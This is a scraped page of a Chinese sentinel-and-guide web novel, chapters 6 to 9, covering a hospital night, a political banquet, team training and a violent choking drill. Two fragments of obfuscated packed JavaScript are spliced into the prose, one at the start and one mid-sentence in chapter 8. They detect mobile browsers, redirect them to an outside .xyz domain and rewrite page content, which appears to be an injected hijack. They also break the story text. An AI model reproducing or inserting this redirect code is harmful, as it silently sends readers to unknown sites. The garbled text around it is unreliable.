RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055845|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察。”顾小绒一字一句地坚持。 也不知道是自己已经开始逐渐免疫,还是韩奕的目光确实有了变化,等到顾小绒感觉到身上的压力消失,才抬起脸来与对方对视。上校冰冷的神情化开,看上去有些疲惫,又有些无奈,那眼神仿佛是在迁就一个无理取闹的小孩。 “你应该知道,哨兵的骨骼硬度与修复能力都强于常人。”他终于开始和她讲道理。 所以哨兵的攻击力度也强于常人啊,顾小绒心下诽腹,她旋即抓住了重点:“不会耽搁您太长时间的,只要确认血块停止和变小就好。” “……”对方没有再言语,到底还是妥协了。 顾小绒知道韩奕看她的眼神是什么意思。 武器生来是为了杀戮,因而不需要感情,也不会感到疼痛。 任何属于人的情感、肉的痛苦,都会让剑刃变得沉重、失去锋芒。 哨兵正是为了这一目的而存在的,他们不是人,只是人形的兵器,这是他们在进入公会宣誓的那一刻就注定的。 卷刃、催折、断裂是武器最终的宿命。 做为同样宿命的另一种武器,这也是向导应该有的觉悟。 可是……如果任由剑刃催折,那么剑鞘的意义又在哪里? 医院的墙体与窗子没有住处的静音性那样好,顾小绒听着窗外簌簌的雪,有些担心上校被杂音吵到。 她躺在医院的床上,想把精神丝线搭上去调整下哨兵的视觉与听觉,又有点畏惧犹豫。 “唔……”一声微不可闻的闷哼夹在落雪中,只有半分的气音便戛然而止。 顾小绒轻手轻脚翻身下床,赤着脚小心靠到上校床边。 医院走廊晦暗的光将韩奕的脸映照得惨白,那张平日凌厉的面容满是冷汗,长眉紧蹙,下颌紧咬不再泄露出一丝声音。他的右手仍旧被拷在墙边,脖子被禁制环控制,胸口急剧地起伏着,左臂无意识地紧紧抱着右腹。 到底是才挨过精神断裂、几近狂化的状态,期间又接连受累,全无休息的时间,哨兵的五感又开始尖锐地波动起来。顾小绒赶紧伸出精神丝线牵拉住他,荔枝微微的甘甜味释放开来,她开始将疼痛转载到自己身上。 在完成这个之后,第二个要做的是调整哨兵的五感,他的感官此时正处于微量过载的状态,将原本可以承受的痛觉放大到数倍。此时如果不赶紧干预,哨兵的感官会更加失衡,他会越来越痛,越来越将感知放在这一点上,继而加剧疼痛、无限恶性循环。S级哨兵敏感度太高,这样的下去很可能会导致失控。 转移过来的疼痛让向导倒吸了一口凉气,缓过了第一波,眼见上校的脸终于松弛了一些,他黑色的睫羽细密而长,此时都已盛满了冷汗。 眼见他缓过来,顾小绒终于松了口气,她的心里泛起一丝酸楚,自己能做的只有通过精神力转移痛觉,却无法替他承担落在身上的伤。她还能感觉到对战最激烈时候,禁制环很明显让韩奕的呼吸有些紧促,如果不是这样也许他会更少些的受伤…… 她想起白天在检查室外时,曼琳对她说的话。 “你别记恨他,这时候多训练一分,真上了战场就少一分危险。”女哨兵脸上的伤口已经处理好了,白色的纱布包在眼角,她望着顾小绒,神情认真而温和:“真正的战场和实战演练不一样,上一秒可能完成任务,下一秒就可能死亡。” “嗯。”顾小绒意识到对方在和自己说十分重要的话。 韩奕是唯一一个折了两任向导还存活的哨兵,他平时作风严厉,风评当然不会太好。每一次上校只要到场,气氛就会变得一片寂静,大家对他是敬畏的,但是除了敬之外也只剩畏了。久而久之,上校与这个世界就好像被某种看不见的物质隔离,他便一直这样独来独往、只身一人。 最后,也只有他的学生替他分辨两句。曼琳看着顾小绒,似乎有什么话想说,却最终欲言又止。 “我知道,你放心。”顾小绒赶紧表态:“我一定会努力训练的。” “害。”曼琳揉了揉顾小绒的头:“我又不会告状。” 顾小绒低下头时,韩奕已经沉沉睡去了,他的面容终于没有刚才那般痛苦。 她抽出柜子上的面巾纸,给哨兵汗湿的面庞擦了擦,对方应当是累极了,呼吸均匀,完全没有半分苏醒的意思。 哨兵正被温柔的向导素包围,如同置身于柔软温暖的海洋。 7. 第七章 第二天的检查结果显示,韩奕内脏里的血块显著变少了,哨兵恢复得很快,只一晚上就止住了血,他的五感也在昨晚的波动后恢复了稳定。 顾小绒心里松了一大口气,昨日实训的评定结果出来,她的综合分数相当不错,从精神力的稳定性、攻击力、防御力,到战力输出、射击准确度等项目得分也很高。虽然这个射击准确度应该归功于韩奕将那位哨兵直接砸在了她的面前,完全是送分。 这是一个难得的雪后晴天,虽然冬日的太阳还是带着一分冷意,天空却已变得难得的明媚干净,像是没有一丝涟漪的蓝色湖泊。 莉莎与其余几位文职人员到医院来帮忙挪东西,上校在医院才短短几天,这里的资料就快堆成山了。 路上顾小绒习惯性地跟在上校身后,她看到莉莎露出一种十分纠结的神情:“上校,今日皇家公会过来视察,莱安上将亲自来了。” “让沈骁去应付他,我没有时间。”被感官过载折磨了半宿,韩奕语调低沉,带有一丝鼻音。 “沈骁上校已经接待他了,他的意思是和上将一起吃个晚宴,请您一同前去。” “知道了。”韩奕看了看手表,面色阴沉。 中央公会是帝国对外的军队,而皇家公会是对内的军队,职能更偏向于禁卫军。双方彼此之间没有绝对的上下级关系,是两个独立的系统,只是随着战争的不断深入,中央公会人手紧缺,这才开始有皇家公会将自己的哨兵与向导派过来,与中央公会协同作战。 人员一旦开始流通,彼此要打的照面就不会少。皇家公会都是由王公贵族把持,他们几乎都与皇族有着血缘关系,因而职级非常高。 此次过来的莱安.西里埃克斯上将,其母是当今女皇的亲姐姐,除了军衔之外还有贵族爵位。此人现在是皇家公会的实际掌权者,也是西里埃克斯家族的族长,无论从哪个方面来看都是个很难应对的角色,因而即使是韩奕也很难推辞。 顾小绒在莉莎的指导下临时学习了一些餐桌礼仪,他们这种从小进入塔里的士兵,哪里能分得清一排好几个银叉银刀该怎么用,大小不一的高脚杯该喝什么酒。 如果不是上校现在的特殊情况,这种级别的宴会怎么也不会是她能去的。 不过事已至此,也只能接受。早已预料到是场鸿门宴,顾小绒提前吃了些面包垫肚子,那些实在记不住的繁文缛节她准备跟在上校身后现学。 恢弘的大厅里铺陈着雪白的大理石,红色的地毯从旋转楼梯一路整齐地码放下来,室内高阔的穹顶是繁复水晶雕琢而成的垂吊灯,顶上是用各色宝石镶嵌着装饰画。 顾小绒眯眼细看,有玛瑙、绿松石、蓝宝石和金银的贴片,它们被华美地堆砌起来,在灯光的映照下璀璨夺目。 室内的大理石喷泉雕刻着天使,清水正从天使肩头的罐子里不断流出,罕有的鸢尾、百合与玫瑰被扎成巨大的花束放在白色的罗马柱上,香气扑鼻。 紫色鸢尾十分罕见,在艾泽洛瑞恩帝国这是皇室身份的标志。 顾小绒打量着这里的一切,她虽然生在夏季的尾巴,却是从记事起就进入了冬天,鲜花这样罕见昂贵的东西几乎是没有见过。更何况那不是普通的红玫瑰或者白玫瑰,而是好看的香槟色,上面甚至还喷洒了金粉。 韩奕从进来的那一刻起就皱起了眉头,过多的颜色和气味冲击着哨兵敏锐的感官,顾小绒看得入神,好一会儿才反应过来调整哨兵的嗅觉。 如果不是亲眼所见,她无法相信公会还有这样华美的地方,应该是专门接待位高权重之人所用。 沈骁上校陪着一个身量纤长的男人走下旋转楼梯,男人的衣着华贵非常,处在人群的绝对中央,想来就是那位莱安.西里埃克斯上将。 顾小绒起先还猜测他可能已经是个中年人,不成想却是个25岁左右的少年。 莱安走上前来与韩奕碰面,他看上去比韩奕矮一点,大约178左右,一头铂金的头发与罕见的紫色眼睛。皇家公会的制服是白色的,领带与外套内衬是紫色,领口与袖口烫着金边,金色的肩章与绶带的衔接处都用宝石装点。 果然是个向导,顾小绒心里暗想。 对方远远瞧见了韩奕脖子上的禁制环,露出一个意味深长的笑容:“听说韩奕上校刚从禁制塔出来,女皇十分挂念,遣我过来看看。” “谢陛下。”韩奕惜字如金。 顾小绒注意到他的身后跟着一位哨兵,此人中校军衔、淡金色的头发,与莱安一样长着一双罕见的紫色眼睛,他们俩面容也有几分相似,应该是同一家族的人。他只远远地站在莱安身后,并未上前。 寒暄到氛围足够,终于入场依次落座。 雪白桌布烫着金边,莱安在长桌的主位落座。顾小绒注意到他的哨兵给他使了个眼色,而莱安只是懒懒地偏了偏头。沈骁与韩奕各坐在莱安左右两侧,那位哨兵则坐在了沈骁身旁。 “坐我身边。”韩奕低头对顾小绒说。 “我的哨兵担心韩奕上校的状态。”莱安叉起面前果盘里的一个葡萄放到嘴里。 眼前几个都是何等人物,大家都看到了刚刚那一幕,一时四下无声。 “但我觉得没有问题。”他缓缓地咀嚼着,用金线印花的手帕擦了擦唇角:“中尉,你一定可以保证我的安全,是吧?” 说完,那双华丽的紫色眸子抬了起来,望向顾小绒。 顾小绒完全没有想到自己这个腿部挂件会被点名,沈骁蹙了蹙眉,韩奕则微不可查地偏转了身子,将顾小绒挡在身后。 “长官…我……”顾小绒镇定了一下声线,才继续说到:“我还没来得及开始抵抗训练,但之后会努力的。” 抵抗训练是哨兵与向导的一种训练考核,在一定时间内,向导必须控制住他的哨兵,这种训练考核主要针对A级以上的哨兵与向导群体。而她因为只有一个单元的训练期,甚至连实战训练都没能完成。 “你才刚到,来日方长。”莱安轻轻放过了她,随后他又发现了更有意思的事情,调转了话头:“你的哨兵很在意你哦。” “您的哨兵也很在意您。”沈骁礼貌一笑,不软不硬地回了一句。从刚刚进场到落座,他身边的金发哨兵都十分警惕地望着韩奕。 此时第一批菜肴被端上了桌,气氛稍微松弛下来。 “沈骁上校,许久未见,您的夫人近来可好。”莱安问道。 “内人只偶尔来探望,最近一次……是三个月前了。”沈骁回答道。 虽然在曾经的旧时代里向导与哨兵结合是传统,但近几十年的新思潮后,打破圈层与普通人结婚也越来越普遍。沈骁上校的夫人就是普通人,据说曾经在中央公会做过文职,现在调换了岗位。 “那你都不多回去看看。”莱安笑着切牛肉,一副闲话家常的模样。 “什么时候考虑一儿半女?” “等战争胜利后会考虑的。”沈骁滴水不漏地回答。 直到主餐都已用完,莱安才不急不慢地切入到主题:“我今上午刚刚看完你们昨天的实战演习,新人表现十分不错。” “中尉,你现在与韩奕上校的精神契合度怎么样?”紫色的眼睛微微眯起,寒光乍现:“你可以看见他的精神体吗?” 顾小绒感觉到韩奕微凉的手忽然压在了她的腿上,上校注视着对方:“我与中尉的精神契合度十分匹配,我觉得这一点从评定分数上就能看到。” “嗯嗯。”莱安似笑非笑,没有再追问,而是话锋一转:“可是你带的楚飞与他的向导周烨就没有那么好了哦。” 原来,是在这等着。 顾小绒立即回忆起作战时的场景,她没有记住楚飞的向导叫什么名字,只记得那人当时的精神力攻击最为凶猛,那一发擦过她右肩的子弹应该也是此人所为。 “皇室对每一个S级哨兵都十分关注,可是从目前的测评数据看来,楚飞的情况不是很稳定。”莱安语调转冷,显然是有备而来。 “他的作战数据不错,攻击力、攻速、准确度与耐力都足够。”韩奕坚持。 “我说的是精神力,上校。”莱安语调轻飘飘地:“你说呢?沈骁。” “……”做为向导总负责人,沈骁怎么会不知道楚飞和周烨的问题,一个是攻击型向导,一个是攻击型哨兵,后者甚至才刚刚分化到了极易狂化的S级。他 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“不用担心,我是来帮忙的。”莱安抬手以示安抚。可他的眼神,像是终于等到猎物步入陷阱的猎人开始收网:“我这边刚好有合格的人手,能力与稳定性都不错。” 他语气轻缓,状似商量,实际却没有可以谈论的余地,他看上去十分享受这一整场狩猎。 “S级哨兵的危险系数想必不用再做赘述。”莱安虽然面色带着笑意,眸子却是冷的:“半个世纪前的那次S级哨兵失控事件,死了482人。” “摧毁阿尔法级战舰一艘、利刃级机甲4座、雷电级战机2架、直升机3架。” 宴席一片寂静无声。 “帝国因此建立了严格的禁制塔法案,杜绝这样的事件再次发生。”莱安缓缓晃动着高脚杯里的酒,淡色的液体折射出细碎的波光映在他冰冷的瞳仁里。 “受伤人数么,我没有记了。”他抿了口酒,懒声说道。 顾小绒神色一顿,她在地方公会多年,虽然也学过历史,知道有这样一次重大哨兵失控事件,却从来不知道这样详实的伤亡数据。大约是损失过于巨大,这些数据在历史书中都被抹除了。 这样的事,即使现在的公会里有人知道,也不会再提起。 做为一个向导,她其实对S级与A级哨兵的力量差距没有直观的认知,也从来没有人告诉过她S级究竟是何种意义的存在。穆承安少校曾经委婉向她提过,有一个失控的A级哨兵捏碎了他向导的头,于是她一直以为即使韩奕失控,死的不过只有一个自己。 在顾小绒的对面,金发哨兵的身体仍旧处于时刻戒备的紧绷状态。 “这个担子压在你身上了,自己小心。”穆承安的话平地惊雷般出现在她的耳畔。 她只感觉浑身发冷。 “好吧。”沈骁打断了这场令人窒息的沉默:“既然上将已有谋划,麻烦您的手下尽快过来与我对接。” “沈骁上校,我最喜欢同你说话。”莱安露出灿烂的笑:“我的哨兵会安排好的,劳烦你了。” “没问题。” 宴席结束时,天色已经很晚了。 韩奕与沈骁两人并排而行,一路无话。直到送走了上将,沈骁才叹了口气,白色的烟雾在冷寂的空气中弥散:“你准备怎么办?” “我处理我的人,你处理你的。”韩奕微垂着头,刚才的宴席上他迫不得已喝了几口酒,这会儿正是难受的时候。 “以后楚飞和周烨的实战,我会去现场跟。”沈骁不置可否:“精神匹配度这事,还是得两个人在一起才行。” 但顾小绒知道,不管韩奕和沈骁准备之后采用何种方式,他们是一定要保住楚飞与周烨的。 她感到一阵巨大的颓丧,战争已持续了如此之久,不考虑如何凝结力量,反而还互相牵制、争权夺利。前线作战至关重要的将领,竟还要耗费相当的精力去应付这些勾心斗角,难怪战争持续了十年之久。 疲惫缓缓袭来,将混乱的思绪冲散、抹净,只留下一片空白与嗡鸣。 她感觉到韩奕似乎是在看着自己,可她不敢抬头看他的眼睛。 8. 第八章 这是第一次,顾小绒对上校有了恐惧的实感。 她将之前许多零碎的信息整合到了一起,从她进入禁制塔时,与她对接的女军官百般的暗示、离开禁制塔时穆承安少校委婉的告诫、那位金发哨兵从始至终的高度戒备…… 为什么半个世纪前的那次S级哨兵失控,会没有详细的损失数据公开,如果不是莱安,她也许永远也不会知道。在这半个世纪内还有过其他S级哨兵失控吗?S级哨兵最终的狂化率究竟是多少?S级哨兵的向导们最终的平均寿命与服役时间又是多少…… 庞大的真相被有意隐藏,所有人都保持着沉默,顾小绒感到一阵窒息。因为禁制环的原因,她不能离开上校的视线范围,想来即使是去查,她也没有足够的权限查到她想要的数据。 她开始理解众人面对上校时微妙的距离,她的无惧源自无知,仅此而已。 从那之后,顾小绒投入到高强度的实战训练中,几乎每一次都和楚飞、曼琳在一起。有时候是和曼琳配合,有时候是和楚飞。最开始他们和楚飞并肩作战的次数不多,毕竟两个S级哨兵同场,力量分布难以平衡。 她急速地成长着,向前辈们学习经验。每一个哨兵和向导都有自己不同的作战风格,作战策略也会根据敌我数量、力量的不同而产生变化。 在某一次两位S级哨兵同场时,曼琳带领的“敌营”经过了十分细致的规划,10组哨兵与向导分工明确,他们避免了硬碰硬的直接对战,采用迂回牵制的方式消耗两位S级哨兵的体力。那场实训精彩至极,虽然最后对方还是输了,但是拖了相当长的时间。 顾小绒从曼琳的身上学到了很多东西,平时自信满满的哨兵姐姐,在正面遇到楚飞时几乎是转身就跑。 遇弱则强,遇强则跑。留得青山在,不怕没柴烧。 不过曼琳并不是单纯的“逃跑”,仓库狭窄的空间与密集堆放的高架给了她空间,在快速拉开距离之后,只见女哨兵长腿一扬,左右两步踏上墙,几乎是飞一般地回身、重创在追赶而来的楚飞身上。她的双腿牢牢架在楚飞的脖子上,与此同时电-击枪如同暴风骤雨一般朝着楚飞攻去。 双腿是人体肌肉最为强大的地方,腿部攻击也是曼琳的最强之处,在这样的冲击里,大腿的力度加上自身的重量,几乎可以马上将一个哨兵摔飞出去。 可楚飞却硬是只用上臂格挡住了曼琳的腿,他的身体如同磐石一般坚硬沉稳、不动分毫,仅仅只是数秒的对峙,曼琳便被摔飞了出去,狠狠撞到了墙上。 枪声响起,诺兰赶紧支援自家哨兵,可楚飞的速度太快,子弹几乎是完全无法追赶上他的残影。 顾小绒后来才知道,原来周烨是中央公会公认的最强攻击型向导,他就是那个第一次对战中,对她进攻最狠最凶的那位,如果不是他和他的哨兵彼此之间精神连接程度太低,让她侥幸钻了空子,自己怕是已经被对方撕成碎片了。 她以为自己已经充分领略了周烨的凶残,可事实证明她之前的见识只是他凶残的冰山一角。 她还从来没有见过能出去和哨兵对打的向导,在其他向导只能逃离开哨兵作战范围、隐蔽起来伺机掩护的时候,周烨就能直接飞身杀进哨兵群里。 一个足斤足两的A级哨兵,他周烨能单挑。 这事的好处是他们相当于有了三个哨兵,不然在对方10个A级哨兵的围攻下,韩奕和楚飞多少有些双拳难敌四手。而周烨又恰好是攻击型向导,他在进攻哨兵时带去的除了物理攻击还有成吨的精神力暴击。 有了这样武德充沛的输出体系,顾小绒只需要固守防御即可,偶尔冲着对面被摔飞出去的哨兵补两枪,业务能力逐渐娴熟。 也许是他们四人加在一块战力效果实在拔群,向来各自为战的楚飞与周烨终于有了那么一丝丝的和谐。好不容易抓到希望的曙光,在后面很长的一段时间里,四人组合便一直固定了下来。 曼琳在“敌营”陪练了两场,得休息换人,陪着他们对练的哨兵和向导就这样换了一批又一批,个个叫苦不迭。 也不知道是不是她和上校已经过了磨合期,他们不会再为了养伤这样的琐事争执,上校在实训后的第一天晚上都会住在医院,有时候复查的单子也会递到顾小绒面前。 她哪里还敢说半个不字,忙不迭点头。她也不知道自己相比以前有没有什么显著的变化,这段时间以来除了昏天黑地的训练,她只能独自消化着那份未能证实的猜测与恐惧,每次被上校清冷的视线注视时,她都会有种自己被对方看穿的惶恐。 好在经历了一个月的紧急训练后,楚飞和周烨的精神连接终于趋于平稳,险险是保住了。这一波对决莱安插了自己人进来,也没能拔掉楚飞,算是两边打了个平手。 一个月的阴霾与压力随着这个结果的落地而拨云见日。 在一众人等的怨声载道苦不堪言里,曼琳决定搞个庆功宴让大家出去放松一下,也是辛苦了这么久的犒劳。 自从进入公会以后,这是顾小绒第一次难得的放松时刻,平时她总是寸步不离地跟着上校,也没有时间和空间去和其余同龄人交流。 而今天上校竟然罕见地同意一起去。 晚上吃的是烧烤盛宴,曼琳给顾小绒介绍哨兵们流行的的饮料,有一点点刺激但味道刚刚好,有点像淡味的苏打水,不含酒精,味道还十分丰富,柠檬、草莓、青柠应有尽有。曼琳甚至试图给上校来一杯,意料之中地被冷着脸拒绝了。 楚飞与周烨隔着很远的距离坐着,顾小绒记得她最开始见那二人的时候,他们甚至互相都不想看到对方,就像是两个被硬绑在一起的同极磁铁。 周烨在日常生活中的气质与战场上判若两人,平日里的他一点都不凶悍,举手投足间彬彬有礼,但仍能看得出是一个对自身要求极其严格的人。 做为一个向导,他身高182、军容整肃、行事简洁利落,十分自律勤奋。而楚飞是个大大咧咧的哨兵,几乎每天训练都是踩着点才来,能摸鱼的时候就摸鱼…… 日常琐碎矛盾不断也就罢了,上了实战也互相不肯妥协,双方又都是极为强势的攻击型,很多时候几乎是不分场合地一触即发。 队里没有人想触他俩的霉头,可能也就曼琳偶尔还敢说两句。 放眼望去,周遭这样多的哨兵和向导,也就曼琳和顾小绒还有少数几位女性,大多数时候仍就是男性哨兵与男性向导组合,也没见别人闹得有他俩这样厉害。 见顾小绒一直出神,诺兰拿了一点饮料和零食过来递给她,那双蓝色的眼眸关切地望着她。 顾小绒唯恐自己最近的波动被人察觉,赶紧接过饮料朝着对方露出一个微笑。 也许是两个月的实战训练让他们彼此之间已经建立了深厚的情谊,精神力的匹配度也拉的更近,她惊讶的发现自己在放松下来且微微有些亢奋的时候,竟然能看到在场相当一部分人的精神体。 “唉诺兰,那只熊猫是你的吗?”顾小绒看着一旁逐渐清晰的可爱毛团子,愣了一下。 诺兰吃到一半的动作停了下来,蛋糕还塞在他鼓鼓的脸颊,看上去和那个精神体更像了。 “你……可以看见我的精神体?”诺兰一脸惊讶。 “嗯啊……我的在这儿。”为表示礼尚往来,顾小绒召唤出自己的知更鸟,将白绒绒的雪团子捧在手里递到诺兰面前。 这个平时沉默寡言、努力认真的小姑娘竟然也有如此开朗活泼的一面,诺兰看着她的眼神不由地温柔起来,但遗憾的是他只能捕捉到一点点能量的影子。 “厉害啊。”他定定望着顾小绒:“一般来说只有配对的哨兵和向导才能看到对方的精神体诶,还得精神匹配度足够……你的精神力十分强,还有兼容度……你还可以看到她的吗?”他想起什么似的指了指自家哨兵。 “你是说……那边那只狮子?”在他们对面,一群哨兵正闹哄哄的围在一起玩着什么桌游,那只身形修长的雌狮就围着他们轻快地跑着,偶尔用它毛茸茸的脑壳蹭着曼琳的腿撒娇,它的眼睛是和曼琳一样漂亮的绿色。 “你很有天赋,小绒。”诺兰正色说道:“你会成为顶级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055847|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的向导,记住我这话。” “没有没有。”也许是对方的神色过于郑重,顾小绒赶紧笑笑:“它好可爱,可以摸摸吗?” 在得到对方的肯定后,她的手就再也没有从可爱的熊猫团子那毛绒绒的耳朵上放下来。 一整场饭局吃下来,大家都玩得十分开心,很多年轻的哨兵与向导主动走上前来和顾小绒打招呼,他们聊以前出任务遇到的奇事怪事、聊过去的糗事、聊训练、聊八卦、聊某某暗恋谁谁…… 他们又叫又吵,又笑又闹,温暖的灯光将下雪的夜色照映得明亮,他们其实也都是一群不过20多岁的年轻人。 到了8点,被纪律限制,大家只能恋恋不舍地散席。 “诺兰!上次我晕倒的事,谢谢你!”离开时候,顾小绒朝着对面挥挥手,大声道。 “小事情,应该的!”对方和曼琳一起挥手回应,熊猫团子慢慢吞吞地跟在自己主人身后,被那只活泼的雌狮逗弄得不胜其烦。 热闹的喧嚣缓缓褪去,耳畔忽然变得无比安静,那种感觉像是仰面注视着天上的阳光,而后缓缓沉入到深海里。 某种庞大的寂静与沉重再次落下,她从短暂偷来的欢愉中回到了现实。 一阵凛冽的雪风穿过,顾小绒回过神来时,眼前只剩下寂寥的寒夜,以及……走在她面前的那个踽踽独行的背影。 她与上校一前一后地走着,一路无话,只有碎雪与冷风不断吹拂着他们的头发与衣襟。 通常这个时候上校还会去办公室,继续工作到10点左右,可今天上校走的方向似乎不是那边,顾小绒心里有些纳罕,也不敢问,就这样低头跟着走。 他们就这样静静走到了一个宽敞的室外训练场,此时的训练场已经空无一人,积满了厚厚的雪,白色的大灯将场地照得通体雪亮。 韩奕刷开了权限,在顾小绒惊异的目光中走了进去。 “站在这里。”他言简意赅地交待道。 顾小绒言听计从地留在了原地,只见韩奕缓步走远,直到濒临十米时才停了下来。此时他脖子上的禁制环与顾小绒手上的启动器,都同时开始闪烁起缓慢的红光。 “上校?”顾小绒一时半会儿没明白对方想要干什么。 只见韩奕朝着她缓缓转过了身子,强光从他背后猛烈地照射过来,她看不清他的面容。 “10米,是向导必须控制住哨兵的距离。”只听那人薄唇轻启,沉声说道。 顾小绒怔然站在原地,似乎无法理解他在说什么,温热的身体好像被忽然浇了一捧冰水。 抵抗训练?现在? “从现在开始,在10米之内控制我。”韩奕的声线冷到结冰。 话音刚落,一片飞雪掠过眼前。 顾小绒只感到疾风扑面,而后黑影以肉眼几乎不可见的速度闪到她的面前。她被狠狠地撂倒在地上,后背重重撞在雪里,一片晕眩中自己的身体在刹那间被韩奕锁死,她感到一阵剧痛与窒息。 此时的韩奕正半压在她的身上,膝盖顶住她的胸口,手牢牢地控制住她的脖颈,但仍留有一丝缝隙,并未施力。 “攻击我,这是命令。”他冷声开口,黑色的眼瞳里看不见一丝光。 他看上去如此陌生,令人胆寒。心底深处压抑的恐惧一触即发,她几乎是瞬间溃退。 韩奕的手开始慢慢施力,顾小绒陷入窒息,生物濒死的本能迫使她反击。 “放手!”精神力在一瞬间变作无数尖刺朝着哨兵猛地扎过去,对方却纹丝不动。窒息带来的恐惧几乎到了巅峰,向导拼命挣扎着,精神力与手脚并用,可是在绝对的力量压制下,她根本无法撼动他分毫。 活活溺死的恐惧窜上向导的四肢百骸,禁制环的红光开始急剧闪烁,尖锐的警报声划破夜空。 眼泪与唾液不受控制地流出,向导的脸已然血红,额前青筋暴起。她只能看见韩奕的嘴缓慢地开开合合,却什么都听不见,死亡如同巨大的漩涡将她拉拽,她想要尖叫却无法发出一丝的声音。 一切都在离她远去。 9. 第九章 在视觉陷入黑暗的那一刻,哨兵猛然松开了手,他将向导僵硬的身子放平,快速撕开了她胸前的衣襟。 布料哗一声破裂,扣子散落了一地。 顾小绒被重重按压心脏,这才接上了一口气,随后她剧烈地呛咳起来,几乎是歇斯底里地滚到地上呼吸。 她弓着身子,只感觉无法分清的液体从她的脸上不断滴落,她狼狈地跪趴着,呕吐、喘息、眼泪控制不住地往外汹涌,缺氧使得她几乎无法思考,身体控制不住地发抖。 禁制环尖锐的鸣笛声引来了巡逻的士兵,他们迅速围了过来,看到眼前的情况直接拿枪对准了韩奕。 “退下。”韩奕转头看着他们,声音是从未有过的缓慢与危险:“我和向导在进行抵抗训练。” 士兵们显然有些犹疑,枪口仍旧没有放下,双方剑拔弩张地对峙着。 顾小绒的身体抖得厉害,她试图操控自己的右手,她满手都是冷汗、又湿又滑,好几次才对准了启动器的侧键,轻轻一碰,红色的灯与警报鸣笛便消失了。 随后她勉力支起上半身,朝着士兵们摆了摆手。 耳畔传来迟缓的、窸窣的脚步声,还有收起枪械的声音。在禁制环法案里,向导只要还活着,就拥有最终的裁决权。 顾小绒终于放松了下来,却站不起身子,她不知道自己跪趴了多久,只感觉身体僵硬得像是被冻住,没有半分力气。 一只温热有力的手撑住她的手臂,手心与虎口因常年握枪而覆有一层薄茧,手指修长、骨节分明,每一寸都是她所熟悉的。 这份熟悉的力量与温度,将她拽回了人间。 在那只手的支撑下,顾小绒恢复了一丝力气,她尝试着站起来,双腿却不受控制地向前栽。 她猝不及防地撞到了他的身上,上校的手臂将她稳稳地托住,他的另一只手抚上她的背,这姿势看起来像是个仓促的、未完成的拥抱。 她愣了愣,随后感到那只放在她背上的手稍一施力,将她重重按向自己怀里。 雪松味忽然释放开来,像是隐忍已久的云终于落下了雨。 顾小绒感到上校放开了手,此时她的腿恢复了一些力气,缓慢地退后了两步。 上校的黑色厚呢外套从头顶落下,搭在了她的肩上,随后又系上领口,替她遮住袒露出来的雪白胸口。等她不得不抬起头时,上校的神色已恢复如常。 “为什么不服从命令。”还是熟悉的语调,熟悉的严厉表情。 “对不起,长官,我做得不好……”顾小绒决定先低头,她说完后便紧紧咬住下颌,避免自己的牙齿因颤抖而磕碰出声。 雪变大了,簌簌地泼洒在他们二人的身上,上校的外套还带有他的体温,因为身高差异衣摆直接垂到了她的膝盖,连大腿也一起盖住了,十分温暖。 韩奕没有再责骂她,他的神情微不可查地变了变:“还有最后30天,你的训练期就要结束了。” “战场上不能佩戴禁制环,最后的期限之内你必须做到控制我。” “是。”顾小绒答到,她感觉自己躯体错位、感知失衡,哪里都很痛,像是身体被碾压撕碎过后又重新拼合到一块。 第二天一大早,当顾小绒一身青紫地来到训练场时,她能感觉到周围的空气一瞬间安静了下来。 昨晚被控制的地方,尤其是脖颈,被大片可怖的淤青与红痕覆盖,因为用力过猛,她的眼睛里甚至还有毛细血管破裂导致的血点。她看见曼琳和诺兰在目瞪口呆地盯着自己,便想上去打声招呼。 “早——”第一声发音才刚刚出口便破音了,想来是昨晚被伤到了声带。 “早……早啊,小绒。”只见两人的表情愈加惊恐。 曼琳将手放在诺兰耳朵上,小声疾速地讲道:“我承认我们昨晚是有点嗨,但上校会不会太过粗暴了?” “你别说了……”诺兰伸手扒拉他的哨兵。 “老师一定压抑太久了……”曼琳还是一脸不可思议。 “哎呀你……”素来温和的向导不得不把手盖在了自家哨兵的嘴上。 此时的韩奕正在训练场旁的办公室里蹙眉看着前线传来的文件,凌晨时分维塞克城前线传来消息,南北双方昨夜各自派出了自己的哨兵袭击了对方的防御系统。我方派出的两位A级哨兵一死一伤,任务没能完成,但是保住了向导。而敌方损失了三位狂化哨兵,同样没能侵袭成功。 韩奕面色凝重,他们的伤亡已经过大,不能再长久地拖下去,短期之内必须做个了结。 到了下午,是他对顾小绒一对一的格斗训练课。顾小绒的启动器上有一个手表似的小窗口,那里显示着倒数27天,这是韩奕要求她设置的期限倒计时。 为避免像上次那样出现干扰因素,这一次特意申请了一间全封闭式训练场。这是一间安静的纯白色房间、下面铺着训练专用的运动地毯,隔绝了外界的一切视线与声音。 那一晚失手后,哨兵调整了自己的力量,开始逐步拆解自己的动作。比如现在,韩奕正双手交叉紧紧握住顾小绒的手腕,除此之外他不会再有任何动作与防御,并允许对方使用一切方式迫使自己放手,包括电击,但前提是她可以挣脱开被控制的手,拿到别在腰间的电-击枪。 计时开始,哨兵的力道缓缓收紧,向导感到一阵剧痛,她的骨骼在哨兵手里像是木板一般咯吱作响,顷刻间就能被折断。 收紧。 她开始拼命挣扎,用自己的精神力攻击对方,她拍击、踢打、将精神力扭成尖利的剑朝对方刺去。 收紧。 向导抬起腿用膝盖狠命击踢向哨兵腹部,她狠狠踹他的腰腹与腿,对方纹丝不动。 收紧。 “呃——!”向导已痛得浑身是汗,眼泪夺眶而出,她的腿开始发抖,精神力也开始溃散。 “注意力集中。”韩奕冷冽的声音忽然响起,他目光坚定,制住向导双手的力量没有变动分毫。 